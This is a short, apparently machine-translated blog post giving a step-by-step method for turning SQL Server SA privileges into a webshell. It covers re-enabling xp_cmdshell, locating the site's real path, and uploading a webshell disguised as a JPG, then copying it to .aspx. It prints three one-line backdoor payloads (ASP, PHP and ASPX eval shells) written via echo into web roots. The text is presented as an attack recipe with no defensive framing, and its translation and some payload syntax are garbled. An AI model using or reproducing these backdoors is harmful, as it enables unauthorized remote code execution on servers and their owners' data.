Webshell idea of SA privilege acquisition

Webshell idea of SA Privilege Acquisition

1. through SQL Query Analyzer , the xp_cmdshell stored procedure is first restored through SA permissions .

2. Connect to the database via SQL Tools2.0 , execute the command, view the Web site path, and the disk file to get the true path of the site.

3.echo generates a word back door.

4. Get Webshell permissions directly.

5. if the echo generated a word back door can not be executed, by viewing the database of the corresponding website, get the background login password, upload webshell jpg through the background. the JGP file is then copied as an aspx file with the Copy command to get the Webshell.

Skills:

1. find writable folders, such as c:/windows/temp, and the real road to the website.

2. generate a word through the echo command back door

echo ^<%eval request (cmd)% ^>^>d:\wwwroot\ok.asp

echo ^<?php @eval ($_post[cmd]);? ^>^>cmd.php

echo ^<%@ pagelanguage= "jscript%" ^>^<^%eval (request.item["Pass"], "unsafe");%^>^>c:\inetpub\ Wwwroot\cmd.aspx

This article is from the "Simeon Technology column" blog, please be sure to keep this source http://simeon.blog.51cto.com/18680/1926022

Webshell idea of SA privilege acquisition